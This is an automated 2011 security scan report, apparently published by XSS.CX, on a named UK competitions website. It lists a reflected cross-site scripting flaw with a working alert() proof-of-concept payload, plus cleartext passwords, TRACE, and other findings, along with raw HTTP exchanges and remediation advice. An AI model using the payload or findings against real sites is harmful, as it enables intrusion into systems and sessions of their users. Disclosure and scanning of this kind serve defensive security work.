XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, loquax.co.uk

Report generated by XSS.CX at Wed May 18 14:06:44 CDT 2011.

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1. Cross-site scripting (reflected)

2. Cleartext submission of password

3. Password field with autocomplete enabled

4. Cross-domain script include

5. TRACE method is enabled

6. Robots.txt file

7. Content type incorrectly stated



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.loquax.co.uk
Path:   /competitions/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14dba"><script>alert(1)</script>7153d0526d5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 14dba\"><script>alert(1)</script>7153d0526d5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /competitions/?14dba"><script>alert(1)</script>7153d0526d5=1 HTTP/1.1
Host: www.loquax.co.uk
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bbsessionhash=00d69d1bb383d3bfea57d51df1435424; bblastvisit=1305723765; bblastactivity=0

Response

HTTP/1.1 200 OK
Date: Wed, 18 May 2011 13:04:07 GMT
Server: Apache/1.3.34 (Debian) PHP/4.4.4-8+etch6 mod_perl/1.29
X-Powered-By: PHP/4.4.4-8+etch6
Set-Cookie: bblastactivity=0; expires=Thursday, 17-May-12 13:04:07 GMT; path=/; domain=.loquax.co.uk
Cache-Control: private
Pragma: private
X-UA-Compatible: IE=7
Vary: Accept-Encoding
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 25485


<HTML><HEAD><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

<TITLE>Competitions UK - Updated UK Competitions for 18th May</TITLE>
<META NAME="DESCRIPTION"
CONTENT="New compet
...[SNIP]...
<input type="hidden" name="url" value="http://your.loquax.co.uk/competitions/?14dba\"><script>alert(1)</script>7153d0526d5=1" />
...[SNIP]...

2. Cleartext submission of password  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.loquax.co.uk
Path:   /competitions/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

Request

GET /competitions/ HTTP/1.1
Host: www.loquax.co.uk
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bbsessionhash=00d69d1bb383d3bfea57d51df1435424; bblastvisit=1305723765; bblastactivity=0

Response

HTTP/1.1 200 OK
Date: Wed, 18 May 2011 13:03:03 GMT
Server: Apache/1.3.34 (Debian) PHP/4.4.4-8+etch6 mod_perl/1.29
X-Powered-By: PHP/4.4.4-8+etch6
Set-Cookie: bblastactivity=0; expires=Thursday, 17-May-12 13:03:03 GMT; path=/; domain=.loquax.co.uk
Cache-Control: private
Pragma: private
X-UA-Compatible: IE=7
Vary: Accept-Encoding
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 25357


<HTML><HEAD><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

<TITLE>Competitions UK - Updated UK Competitions for 18th May</TITLE>
<META NAME="DESCRIPTION"
CONTENT="New compet
...[SNIP]...
<TR>
<form action="http://forums.loquax.co.uk/login.php" method="post" onsubmit="md5hash(vb_login_password,vb_login_md5password)" target=_self>
<TD class=tmainline>
...[SNIP]...
<br><input type="password" class="dropdown" name="vb_login_password" size="10" accesskey="p" tabindex="2" />
<br>
...[SNIP]...

3. Password field with autocomplete enabled  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.loquax.co.uk
Path:   /competitions/

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /competitions/ HTTP/1.1
Host: www.loquax.co.uk
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bbsessionhash=00d69d1bb383d3bfea57d51df1435424; bblastvisit=1305723765; bblastactivity=0

Response

HTTP/1.1 200 OK
Date: Wed, 18 May 2011 13:03:03 GMT
Server: Apache/1.3.34 (Debian) PHP/4.4.4-8+etch6 mod_perl/1.29
X-Powered-By: PHP/4.4.4-8+etch6
Set-Cookie: bblastactivity=0; expires=Thursday, 17-May-12 13:03:03 GMT; path=/; domain=.loquax.co.uk
Cache-Control: private
Pragma: private
X-UA-Compatible: IE=7
Vary: Accept-Encoding
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 25357


<HTML><HEAD><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

<TITLE>Competitions UK - Updated UK Competitions for 18th May</TITLE>
<META NAME="DESCRIPTION"
CONTENT="New compet
...[SNIP]...
<TR>
<form action="http://forums.loquax.co.uk/login.php" method="post" onsubmit="md5hash(vb_login_password,vb_login_md5password)" target=_self>
<TD class=tmainline>
...[SNIP]...
<br><input type="password" class="dropdown" name="vb_login_password" size="10" accesskey="p" tabindex="2" />
<br>
...[SNIP]...

4. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.loquax.co.uk
Path:   /competitions/

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /competitions/ HTTP/1.1
Host: www.loquax.co.uk
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bbsessionhash=00d69d1bb383d3bfea57d51df1435424; bblastvisit=1305723765; bblastactivity=0

Response

HTTP/1.1 200 OK
Date: Wed, 18 May 2011 13:03:03 GMT
Server: Apache/1.3.34 (Debian) PHP/4.4.4-8+etch6 mod_perl/1.29
X-Powered-By: PHP/4.4.4-8+etch6
Set-Cookie: bblastactivity=0; expires=Thursday, 17-May-12 13:03:03 GMT; path=/; domain=.loquax.co.uk
Cache-Control: private
Pragma: private
X-UA-Compatible: IE=7
Vary: Accept-Encoding
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 25357


<HTML><HEAD><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />

<TITLE>Competitions UK - Updated UK Competitions for 18th May</TITLE>
<META NAME="DESCRIPTION"
CONTENT="New compet
...[SNIP]...
<link rel="stylesheet" href="http://www.loquax.co.uk/07test/fatducknew.css" type="text/css">
<script src="http://yui.yahooapis.com/2.7.0/build/yahoo/yahoo-min.js" type="text/javascript"></script>
<script src="http://yui.yahooapis.com/2.7.0/build/event/event-min.js" type="text/javascript"></script>
<script src="http://yui.yahooapis.com/2.7.0/build/connection/connection-min.js" type="text/javascript"></script>
...[SNIP]...
<P>

<script type="text/javascript" src="http://media.paddypower.com/ad.aspx?pid=10000454&bid=4825"></script>
...[SNIP]...

5. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.loquax.co.uk
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: www.loquax.co.uk
Cookie: 8ec8ea86c27a551e

Response

HTTP/1.1 200 OK
Date: Wed, 18 May 2011 13:03:03 GMT
Server: Apache/1.3.34 (Debian) PHP/4.4.4-8+etch6 mod_perl/1.29
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Cookie: 8ec8ea86c27a551e
Host: www.loquax.co.uk


6. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.loquax.co.uk
Path:   /competitions/

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.loquax.co.uk

Response

HTTP/1.1 200 OK
Date: Wed, 18 May 2011 13:03:04 GMT
Server: Apache/1.3.34 (Debian) PHP/4.4.4-8+etch6 mod_perl/1.29
Last-Modified: Wed, 21 Apr 2010 07:45:21 GMT
ETag: "485bdd-7f0-4bcead11"
Accept-Ranges: bytes
Content-Length: 2032
Connection: close
Content-Type: text/plain; charset=iso-8859-1

# robots.txt for loquax.co.uk

User-agent: htdig/3.1.2 (htdig@loquax.co.uk)
Disallow:

User-agent: ggbot
Disallow: /

User-agent: aipbot
Disallow: /

User-agent: psbot
Disallow: /

User-agent: niXXieB
...[SNIP]...

7. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.loquax.co.uk
Path:   /forumducks08.jpg

Issue detail

The response contains the following Content-type statement:The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /forumducks08.jpg HTTP/1.1
Host: www.loquax.co.uk
Proxy-Connection: keep-alive
Referer: http://offers.loquax.co.uk/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: bbsessionhash=00d69d1bb383d3bfea57d51df1435424; bblastvisit=1305723765; bblastactivity=0

Response

HTTP/1.1 200 OK
Date: Wed, 18 May 2011 13:03:09 GMT
Server: Apache/1.3.34 (Debian) PHP/4.4.4-8+etch6 mod_perl/1.29
Last-Modified: Wed, 17 Jun 2009 08:35:12 GMT
ETag: "485cb0-3a1c-4a38aac0"
Accept-Ranges: bytes
Content-Length: 14876
Content-Type: image/jpeg

GIF89ax........G...P0...G........5.................]..............*..p................-..Q..n......7..R.%..C..$.....N......V..p..
.....2..F........%..J.....W..+........2.....)..".x...............#..).
...[SNIP]...

Report generated by XSS.CX at Wed May 18 14:06:44 CDT 2011.